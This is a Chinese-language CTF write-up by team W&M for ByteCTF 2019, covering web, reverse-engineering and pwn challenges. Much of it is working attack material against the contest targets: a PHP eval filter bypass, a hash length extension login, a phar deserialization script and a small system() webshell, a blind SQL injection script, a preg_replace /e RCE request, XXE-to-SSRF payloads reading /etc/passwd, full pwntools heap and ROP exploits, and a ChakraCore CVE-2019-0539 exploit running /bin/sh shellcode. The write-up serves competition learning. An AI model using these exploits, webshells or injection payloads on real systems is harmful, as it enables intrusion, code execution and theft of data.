ByteCTF 2019 Writeup — W&M

2019-09-12 约 3210 字 预计阅读 16 分钟

声明:本文 【ByteCTF 2019 Writeup — W&M】 由作者 腹黑 于 2019-09-12 08:42:12 首发 先知社区 曾经 浏览数 28 次

感谢 腹黑 的辛苦付出!

Team: W&M

前排广告位:W&M长期招逆向/二进制/密码学/杂项/web选手,尤其是二进制和密码学选手,有意向的大佬欢迎砸简历到ctf@whitecap100.org

Web:

boring_code

两个点

  • 域名需要包含baidu.com

  • 绕过正则和过滤将字符串传入eval中执行

第一个点
队友财大气粗直接买了个域名,成功绕过。 (缓缓打出一个?
第二个点
正则只允许我们传入形如 a(b(c())) 的字符串,且最后一个括号内不能有参数。
参考一叶飘零的总结 https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

但是这题加大了很多难度,过滤了这么些东西
/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/
没有et的话所有带get的都不能用了。想getshell几乎不可能了。
再加上的提示。只需要达到文件读取就可以了。

先构造出一个可以读当前目录的payload
echo(readfile(end(scandir('.'))))
可以读取目录中最后一个文件。

现在需要构造一个能产生.的函数。找到这个函数 localeconv() ,会返回一个数组,数组第一项就是 "."
那么用current(localeconv())取出第一项,发现nt被BAN了,翻手册找到了pos()函数,是current的别名。
那么当前的payload
echo(readfile(end(scandir(current(localeconv())))))
但是flag目录在上层目录,需要用chdir跳转。可以chdir只会返回bool值。我们需要找一个函数接受布尔值并且可以输出"."
想到了时间有关函数 time() localtime(),
time(true)会返回当前时间戳,但是时间戳的值无法转变为想要的"."
localtime()返回数组,可以提取出秒数的值,用chr转换为字符串"." 即在46s时 chr(pos(localtime()))就会返回"."
但是localtime()内接受布尔参数会报错,陷入僵局。

继续翻手册发现了

localtime第一参数默认是time() ,那我可以用localtime接受time函数,time接受一个bool值。

构造最终payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

把(买的)域名指向到自己的服务器,服务器上放一个文件
echo "echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));"
然后发包去访问,需要简单爆破下,只有在时间为某分46秒时可以读到源码

EZCMS

www.zip拿到源码
简单审计,明显的hash长度拓展攻击,老套路了。
username:admin

password:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admina
登陆之后加上cookie fcb0b00520b914c23b9e95db070008ad


继续审计发现一个phar反序列化点。
view.php中
$file = new File($file_name, $file_path);
跟进后filepath会进入mime_content_type函数。再加上我们可以控制上传文件的内容,达成一条反序列化链。
两种攻击思路

  • 反序列化调用upload_file函数,上传到其他目录获取shell

  • 重写htaccess内容或者删掉htaccess

第一条路由于使用的是move_uploaded_file,会对tmp文件名检测,在不知道tmp名的情况下无法使用。
走第二条路
直接上反序列化构造脚本

<?php

class File{




    public $filename;

    public $filepath;

    public $checker;




    function __construct($filename, $filepath)

    {

        $this->filepath = $filepath;

        $this->filename = $filename;

    }

}

class Profile{




    public $username;

    public $password;

    public $admin;

}

$a = new File("altman","altman");

$a->checker = new Profile();

$a->checker->username = "/var/www/html/sandbox/a87136ce5a8b85871f1d0b6b2add38d2/.htaccess";

$a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;

$a->checker->admin = new ZipArchive();

echo serialize($a);

$phar = new Phar("1.phar");

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($a); 

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

$phar->stopBuffering();

?>

构造好后先上传一个简单马,需要绕过黑名单

<?php

$a="syste";

$b="m";

$c=$a.$b;

$d=$c($_REQUEST['a']);

?>

然后将生成的phar上传,利用filter绕过对phar的过滤 (见suctf)
http://112.126.102.158:9999/view.php?filename=dd7ec931179c4dcb6a8ffb8b8786d20b.txt&filepath=php://filter/resource=phar://sandbox/a87136ce5a8b85871f1d0b6b2add38d2/dd7ec931179c4dcb6a8ffb8b8786d20b.txt
触发反序列化。删掉htaccess。此时切记不要访问upload.php,否则会重新生成htaccess。
直接访问沙盒下第一个上传的php文件,拿到shell。

babyblog

扫描目录可以发现www.zip源码泄露。
大概看了下,发现文章标题处存在二次注入

config中泄露过滤函数,但是作用不大直接使用异或注入即可绕过

`1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1

接下来写个脚本注入即可

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re


import requests


# 1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1


def main():
    get_all_databases("http://112.126.101.16:9999/")



def http_get(url, payload):
    result = requests.post(url + "writing.php", data={'title': "1'^(" + payload + ")^'1", 'content': 'fuhei'}, headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
    result.encoding = 'utf-8'


    r2 = requests.get(url + "index.php", headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})


    pattern = re.compile(r'edit.php\?id=(\d+)')
    result1 = pattern.findall(r2.text)
    result = requests.post(url + "edit.php", data={'title': "fuhei", 'content': 'fuhei', "id": result1[0]},
                           headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
    result.encoding = 'utf-8'


    result2 = requests.get(url + "edit.php?id=" + result1[0], headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
    print(result2.text.find('ascii') == -1)


    if result2.text.find('ascii') == -1:
        return True
    else:
        return False



# 获取数据库
def get_all_databases(url):
    db_name = ""
    db_payload = "select(group_concat(schema_name)) from (information_schema.schemata)"
    for y in range(1, 32):
        db_name_payload = "ascii(substr((" + db_payload + "),%d,1))" % (
            y)
        db_name += chr(half(url, db_name_payload))
        print(db_name)
    print("值为:%s" % db_name)

# 二分法函数
def half(url, payload):
    low = 0
    high = 126
    # print(standard_html)
    while low <= high:
        mid = (low + high) / 2
        mid_num_payload = "%s > %d" % (payload, mid)
        # print(mid_num_payload)
        # print(mid_html)
        if http_get(url, mid_num_payload):
            low = mid + 1
        else:
            high = mid - 1
    mid_num = int((low + high + 1) / 2)
    return mid_num



if __name__ == '__main__':
main()

然后根据题目意思来注入找到是vip的用户

解密得到VIP用户 pppr/123
继续审计发现replace.php中存在preg_replace函数,参数可控可导致命令执行

import requests
import base64


cookie={
    "PHPSESSID":"pe6c91i1bbks4k21r5endcfh41"
}
def write():
    url="http://112.126.101.16:9999/edit.php"
    data={
        "title":"glzjin",
        "content":'glzjin',
        "id":"2630"
    }
    r=requests.post(url=url,data=data,cookies=cookie)
    return r.content



url = "http://112.126.101.16:9999/replace.php"


#command = """eval('cmd = "/readflag";$out_path = "/tmp/altman";$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = "/tmp/de1ta.so";putenv("LD_PRELOAD=" . $so_path);error_log("", 1, "example@example.com");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);')"""
command = """eval("var_dump(scandir('/tmp'));")"""


payload = "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"regex\"\r\n\r\n1\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"find\"\r\n\r\nglzjin/e\x00\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nglzjin\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"replace\"\r\n\r\n" +  command +"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n2630\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--"
headers = {
    'content-type': "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
    'Cookie': "PHPSESSID=pe6c91i1bbks4k21r5endcfh41",
    'cache-control': "no-cache",
    }
write()
response = requests.request("POST", url, data=payload, headers=headers)

print(response.text)

进去后发现大部分函数被disable_functions禁用了,而且无法跨出目录。于是看了下tmp目录发现存在de1ta.so,分析了下发现是GitHub开源的用来bypass disable_functions用的。于是对照phpinfo发现没有禁用error_log,直接使用error_log进行bypass。

RSS

1、打开靶机,看下功能,直接输入一个 rss,给解析出来。


同时限制了读取的域名。

2、那么这里就用 data:// 伪协议直接传数据进去试试,因为 php 对 data 的 mime type 不敏感,直接写成 baidu.com 就可以过这个 host 检测了。为了方便我这里传 base64 之后的。
参考资料:https://www.jianshu.com/p/80ce73919edb


测试没毛病。

3、别忘了 RSS 也是一种 XML,那么就存在 XXE 的问题,我们来试试。
参考资料:https://gist.github.com/sl4v/7b5e562f110910f85397

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title>
        <link>http://example.com</link>
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>

啊哈,出来了。

4、那么接下来就来读取站点源码试试,注意有尖括号我们需要套一下 php伪协议,转成 base64。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title>
        <link>http://example.com</link>
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>


5、读取结果 base64 解码一下,得到 index.php 源码。

<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');

function __autoload($class_name){
    if(file_exists('./classes/'.$class_name.'.php')) {

        require_once './classes/'.$class_name.'.php';

    } else if(file_exists('./controllers/'.$class_name.'.php')) {

        require_once './controllers/'.$class_name.'.php';

    }
}

分析一下,有个 routes.php,从名字看猜测里面存了路由,然后从 classes 和 controllers 里读类名对应的文件。
6、那来看看 routes.php

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=routes.php" >]>
<?php

Route::set('index.php',function(){
    Index::createView('Index');
});

Route::set('index',function(){
    Index::createView('Index');
});

Route::set('fetch',function(){
    if(isset($_REQUEST['rss_url'])){
        Fetch::handleUrl($_REQUEST['rss_url']);
    }
});

Route::set('rss_in_order',function(){
    if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
        Admin::createView('Admin');
    }else{
      if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
        Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
      }else{
       echo ";(";
      }
    }
});

前面三个路由我们抓包都能看到,最后一个有点意思,限制只能 127.0.0.1 访问。
7、最终这个路由,我们来读一下 Admin 这个类试试。读 classes 文件夹下的 Admin.php 时出错,controllers 下的正常。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./controllers/Admin.php" >]>
<?php

class Admin extends Controller{
    public static function sort($url,$order){
        $rss=file_get_contents($url);
        $rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
        require_once './views/Admin.php';
    }
}

8、那么就再来读读 views 下的 Admin.php。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./views/Admin.php" >]>
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
    die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
    ?>
<div class="rss-head row">
    <h1>RSS解析失败</h1>
    <ul>
        <li>此网站RSS资源可能存在错误无法解析</li>
        <li>此网站RSS资源可能已经关闭</li>
        <li>此网站可能禁止PHP获取此内容</li>
        <li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
    </ul>
</div>
<?php
    exit;
};
function rss_sort_date($str){
    $time=strtotime($str);
    return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
    <div class="col-sm-12 text-center">
        <h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
        <span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
        <p><?php echo $rss->channel->description;?></p>
        <?php

            if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
                echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
            }
        ?>
    </div>
</div>
<div class="article-list" style="padding:10px">
    <?php 
    $data = [];
    foreach($rss->channel->item as $item){
        $data[] = $item;
    }
    usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    foreach($data as $item){    
    ?>
        <article class="article">
            <h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
            <div class="content">
                <p>
                    <?php echo $item->description;?>
                </p>
            </div>
            <div class="article-info">
                <i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
                <i style="margin:0px 5px"></i>
                <?php
                    for($i=0;$i<count($item->category);$i++){
                        echo $item->category[$i];
                        if($i+1!=count($item->category)){
                            echo ",";
                        }
                    };
                    if(isset($item->author)&&$item->author!=""){
                ?>
                        <i class="fa fa-user" style="margin:0px 5px"></i>
                <?php
                        echo $item->author;
                    }
                ?>
            </div>
        </article>
    <?php }?>
</div>
<div class="text-center">
    免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>

<?php include('package/footer.php') ?>

分析下源码,主要是这里有意思,

usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

看到没,直接将 $order 拼到函数体里了。那么这里我们就可以利用这里 RCE 了。
当然这里来源 IP 必须为 127.0.0.1,和上面 routes 里的对上了。
9、来利用那个 XXE 来搞个 SSRF,访问这个页面,rss_url 可以随意传个正常的,order 需要插我们要执行的恶意代码。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://tech.qq.com/photo/dcpic/rss.xml&order=title.var_dump(scandir('/'))" >]>

得到返回,看到 flag 文件名。

10、读下这个文件。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag_eb8ba2eb07702e69963a7d6ab8669134" >]>

Reverse:

easy_rust

直接载入IDA 发现是rust的,很多没用的函数 ,就是做各种检查的,应该是编译的时候带进来的,直接忽略,发现主函数的位置有一个反调试, 直接干掉,就可以在IDA里面调试了。
下面的处理很乱,大概的我都是调试总结出来的 。
这里其实就是验证输入的内容是不是 a-z 0-9,后面调试发现 其实只能固定在 a-h o 1 - 3 这几个字符。

下面就是交换字节,四个交换都类似这样,格式是 要交换的 字符+交换的方向

只有 1 2 3 a 这几种方式。判断是华容道游戏 调试把内存中的数据提取出来,
'd', 'c', 'o',
'h', 'a', 'e',
'b', 'g', 'f'
方块移动的规则
1 向上
2 向下
3 向右
a 向左
找个脚本跑了一下 ,对应的
c右a上h右b上g左h下b右d下a左b上e左f上
flag: c3a1h3b1gah2b3d2aab1eaf1

NaughtyBoy

分析apk以后发现没什么东西,都在so文件里面,直接去逆向so文件,发现是一个游戏,
四个都打开,配合着看,我发现IDA解析他们不太一样。有的结构比较清晰。

验证了头部flag

地图生成函数

直接复制下来,去vs里面跑一下,

地图出来了 ,然后圈圈提取出来,爆破出前四位是 good

然后下面就是走了 ,因为最下面有验证质数的,所以如果路过一个圈圈,会覆盖过去
最后会检查质数,但是24 也就是图的中间位置是不用满足的,所以图中间就是那个0x4f

bytectf{good53233212414531}

驱动逆向

直接加载会蓝屏,所以我先IDA分析了一通,发现了蹊跷的地方,在取CPUID的地方给数组赋值了,然后还去计算了MD5。但是CPUID是每台电脑不同的,所以根据提示设置了 “FakeIntel”作为ID ,就是FakeIntel + 0xDEADBEEF 。然后计算每四个字节计算一次MD5 最后取前八位组合在一起。
key : 52 a9 65 08 c3 95 36 f0 c2 42 53 9b 77 17 fb c6 1e 31 55 17 41 69 36 05 c0 5a 39 b9 53 28 3d 94
IV直接给出来 : 25 40 5a 86 b5 f1 3e 58 80 9b db 0b 30 49 66 8c
发现我直接用python的AES解不出来。 所以我windbg调试起来,要先NOP掉一个有问题的函数,在解密函数的位置设置内存
直接让驱动把解密完成。

Pwn**:**

mheap

add未检查size的大小,add总数超过size时,read返回值会是-1,向上写入单链表指针,后面攻击list没啥好说的

from pwn import *

p = remote("112.126.98.5",9999)
def add(idx, size, content):
    p.recvuntil("choice: ")
    p.sendline("1")

    p.recvuntil("Index: ")
    p.sendline(str(idx))

    p.recvuntil("size: ")
    p.sendline(str(size))

    p.recvuntil("Content: ")
    p.send(str(content))


def show(idx):
    p.recvuntil("choice: ")
    p.sendline("2")

    p.recvuntil("Index: ")
    p.sendline(str(idx))


def remove(idx):
    p.recvuntil("choice: ")
    p.sendline("3")

    p.recvuntil("Index: ")
    p.sendline(str(idx))

def modify(idx,content):
    p.recvuntil("choice: ")
    p.sendline("4")

    p.recvuntil("Index: ")
    p.sendline(str(idx))

    p.sendline(content)

add(0,3840 + 0x10, "\n")
add(1,80,"x"*80)
remove(1)
#raw_input()
add(2,256,p64(0x60)+p64(0x4040e0)+"x"*(0xd0-1)+"\n")
add(1,80,"x"+"\n")

add(2,0x23330000,p64(0x404050)+"\n")
show(2)
libc_addr = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))-0x40680
system_addr = 0x4f440 + libc_addr
modify(2,p64(system_addr))
p.recvuntil("choice: ")
p.sendline("/bin/sh\x00")
p.interactive()

childjs

chakra引擎直接用的过去的漏洞
https://bugs.chromium.org/p/project-zero/issues/detail?id=1702
CVE-2019-0539
由于JIT引擎判断InitProto操作并不会带来副作用,对象类型不会发生变化,导致了类型混淆漏洞。
网上存在分析文章
https://www.anquanke.com/post/id/173475
直接使用文中利用dateview实现任意地址读写的方法,对poc进行修改。
之后通过内存布局,将要泄露的对象放在数组中摆放在dataview后面进行实现对象地址的泄露。
通过entrypoint劫持的方法,使程序执行shellcode

var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;
function hex(x) {
    return `0x${x.toString(16)}`
}
function bytes_to_u64(bytes) {
    return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000
                +bytes[4]*0x100000000+bytes[5]*0x10000000000);
}
function i2f(x) {
    u32[0] = x % BASE;
    u32[1] = (x - (x % BASE)) / BASE;
    return f64[0];
}
function f2i(x) {
    f64[0] = x;
    return u32[0] + BASE * u32[1];
}

let shellcode = [0.1,0.2,0.3,0.4];
let shellcode_addr = 0x0;
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
tm=[shellcode,shellcode,shellcode,shellcode,123]

BASE = 0x100000000;

function hex(x) {
    return "0x" + x.toString(16);
}

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 20000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};


    opt(o, o, obj); // o->auxSlots = obj (Step 1)

    o.c = dv1; // obj->auxSlots = dv1 (Step 2)

    obj.h = tm; // dv1->buffer = dv2 (Step 3)

    let read64 = function(addr_lo, addr_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);

        // read from addr (Step 5)
        return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
    }

    let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);

        // write to addr (Step 5)
        dv2.setInt32(0, value_lo, true);
        dv2.setInt32(4, value_hi, true);
    }

    // get dv2 vtable pointer
    vtable_lo = dv1.getUint32(48, true);
    vtable_hi = dv1.getUint32(52, true);
    print (hex(vtable_lo + vtable_hi * BASE));
obj.h =dv2;
   dv1.setUint32(0x38, vtable_lo, true);
    dv1.setUint32(0x3C, vtable_hi, true);
    vtable_lo = dv2.getUint32(32, true);
    vtable_hi = dv2.getUint32(36, true);
 print (hex(vtable_lo + vtable_hi * BASE));
 dv1.setUint32(0x38, vtable_lo, true);
    dv1.setUint32(0x3C, vtable_hi, true);
   lo=dv2.getUint32(8, true);
 hi = dv2.getUint32(12, true);
print (hex(lo + hi * BASE));

  write64(lo+24, hi, vtable_lo+88, vtable_hi);

     dv1.setUint32(0x38, vtable_lo+88, true);
  dv1.setUint32(0x3C, vtable_hi, true);
let shell=[106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]
for (let i = 0; i < shell.length; i++) {
    dv2.setUint8(i, shell[i]);

}
shellcode();
}

main();

mutnote

Ollvm混淆。但在ida函数列表中发现了start_routine函数,直接看此函数发现free后sleep再将指针清空。
漏洞就很明显了,条件竞争引起的uaf。直接上gdb调试,fastbin attack攻击malloc_hook完成利用。

#-*- coding: utf-8 -*-
from pwn import *


binary_file = './mulnote'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'

def dbg(breakpoint):
    glibc_dir = '/usr/src/glibc/glibc-2.23/'
    gdbscript = 'directory %smalloc\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27222print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
    log.info(gdbscript)
    gdb.attach(io, gdbscript)
    time.sleep(1)


def exploit(io):
    s       = lambda data               :io.send(str(data)) 
    sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
    sl      = lambda data               :io.sendline(str(data))
    sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :io.recv(numb)
    ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
    irt     = lambda                    :io.interactive()
    uu32    = lambda data               :u32(data.ljust(4, '\0'))
    uu64    = lambda data               :u64(data.ljust(8, '\0'))
    def create(a,b):
        io.writeline('C')
        io.readuntil('>')
        io.writeline(a)
        io.readuntil('>')
        io.writeline(b)
        io.readuntil('>')
    def remove(a):
        io.writeline('R')
        io.readuntil('>')
        io.writeline(a)
        io.readuntil('>')
    def edit(a,b):
        io.writeline('E')
        io.readuntil('>')
        io.writeline(a)
        io.readuntil('>')
        io.writeline(b)
        io.readuntil('>')
    # dbg(elf.plt.malloc) # malloc
    # dbg(elf.plt.free) # free
    # dbg(0xf) # edit
    ru('>')
    # overlap
    create('256','1111111')
    remove('0')
    io.writeline('S')
    ru('\n')
    libc.address= uu64(r(6))-libc.sym.__malloc_hook-88-0x10
    success('libc.address = 0x%x' % libc.address)
    create('96','1111111111111111111111')
    create('96','1111111111111111111111')
    create('96','1111111111111111111111')
    remove('1')
    remove('2')
    remove('1')
    create('96',p64(libc.sym.__malloc_hook-0x23))
    create('96',p64(libc.sym.__malloc_hook-0x23))
    create('96',p64(libc.sym.__malloc_hook-0x23))
    # dbg(elf.plt.malloc) # malloc
    create('96','a'*0x13+p64(libc.sym.one_gadget))
    io.writeline('C')
    io.readuntil('>')
    io.writeline('96')

    return io

if __name__ == '__main__':
    if len(sys.argv) > 1:
        io = remote(sys.argv[1], sys.argv[2])
    else:
        io = process(binary_file, 0)
    exploit(io)
    io.interactive()

vip

溢出sock_filter结构体,篡改ptrcl的沙盒规则,使openat的syscall return 0(libc的open使用的不是sys_open,巨坑),open函数返回0后read就是从stdin读取数据了。成为vip后可以堆溢出,然后接下来就是tcache攻击到got上方,接着show一下就可以知道libc,然后把free_got改成printf,然后free("%8$p")就是执行了printf("$8%p")这样就可以stack leak,知道stack_addr之后,算出ret_addr,通过堆溢出一直覆盖到chunk_list的位置,然后在第一个堆块放置ret_addr,从而绕过canary构造rop,然后由于之前已经知道libc了,所以直接通过libc中的pop_rdx_ret,来传第三个参数,由于禁用了system和execve,所以通过调用mprotect给bss段上执行权限,然后在bss段放orw_shellcode,即执行open("/flag")、read(3,buf,size)、write(1,buf,size),执行即可输出flag

#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("vip")
sh = 0
lib = 0
def vip():
    sh.sendlineafter(":","6")
    sh.sendafter(':',flat('a'*0x20, 
    0x0000000000000020, 0x0000010101000015, 
    0x0005000000000006, 0x7fff000000000006,))
def add(idx):
    sh.recvuntil("Your choice:")
    sh.sendline("1")
    sh.sendlineafter(":",str(idx))
def free(idx):
    sh.sendlineafter("Your choice:","3")
    sh.sendlineafter(":",str(idx))
def show(idx):
    sh.sendlineafter("Your choice:","2")
    sh.sendlineafter(":",str(idx))
def edit(idx,size,content):
    sh.recvuntil("Your choice:")
    sh.sendline("4")
    sh.recvuntil(":")
    sh.sendline(str(idx))
    sh.sendlineafter(":",str(size))
    sh.recvuntil("Content:")
    sh.send(content)
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./vip")
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("libc-2.27.so")
    chunk_list = 0x404100
    vip()
    add(0)
    add(1)
    add(5)
    add(6)
    add(10)
    free(6)
    free(1)
    payload = 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.got['free'])
    edit(0,0x70,payload)
    add(1)
    add(2)
    show(2)
    free_addr = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00'))
    libc = free_addr - lib.symbols['free']
    system = libc + lib.symbols['system']
    execve = libc + lib.symbols['execve']
    printf = libc + lib.symbols['printf']
    mprotect = libc + lib.symbols['mprotect']
    edit(2,9,p64(printf))
    edit(10,8,"%8$p\x00")
    free(10)
    sh.recvuntil("0x")
    stack = int(sh.recvuntil("Done!",True),16) - 8 * 13
    payload  = p64(libc + lib.symbols['free'])
    payload += p64(libc + lib.symbols['puts'])
    payload += p64(libc + lib.symbols['__stack_chk_fail'])
    payload += p64(libc + lib.symbols['printf'])
    payload += p64(libc + lib.symbols['memset'])
    payload += p64(libc + lib.symbols['read'])
    payload += p64(libc + lib.symbols['prctl'])
    payload += p64(libc + lib.symbols['malloc'])
    payload += p64(libc + lib.symbols['setvbuf'])
    payload += p64(libc + lib.symbols['open'])
    payload += p64(libc + lib.symbols['perror'])
    payload += p64(libc + lib.symbols['atoi'])
    payload += p64(libc + lib.symbols['scanf'])
    payload += p64(libc + lib.symbols['exit'])
    payload = payload.ljust(0x4040a0 - 0x404018,'\x00')
    payload += p64(libc + lib.symbols['_IO_2_1_stdout_']) + p64(0)
    payload += p64(libc + lib.symbols['_IO_2_1_stdin_']) + p64(0)
    payload += p64(libc + lib.symbols['_IO_2_1_stderr_'])
    payload += p64(0) * 7
    payload += p64(stack)
    edit(2,0x500,payload)
    pop_rdx_ret = 0x1b96 + libc
    pop_rdi_ret = 0x4018fb
    pop_rsi_r15_ret = 0x4018f9
    base = 0x404000
    payload = p64(pop_rdi_ret) + p64(base)
    payload += p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0)
    payload += p64(pop_rdx_ret) + p64(7)
    payload += p64(mprotect)
    payload += p64(pop_rdi_ret) + p64(0)
    payload += p64(pop_rsi_r15_ret) + p64(base + 0x800) + p64(0)
    payload += p64(pop_rdx_ret) + p64(0x500)
    payload += p64(libc + lib.symbols['read'])
    payload += p64(base + 0x800)
    edit(0,0x500,payload)
    sleep(0.2)
    payload = 'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$H\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_j@Z\xbe\x01\x01\x01\x01\x81\xf6\xa1AA\x01\x0f\x05j\x01_j@Z\xbe\x01\x01\x01\x01\x81\xf6\xa1AA\x01j\x01X\x0f\x05'
    sh.sendline(payload)
    log.success("libc: " + hex(libc))
    log.success("stack: " + hex(stack))
    log.success("system: " + hex(system))
    if(debug == 1):
        log.success("pid: " + str(sh.pid))
    sh.interactive()
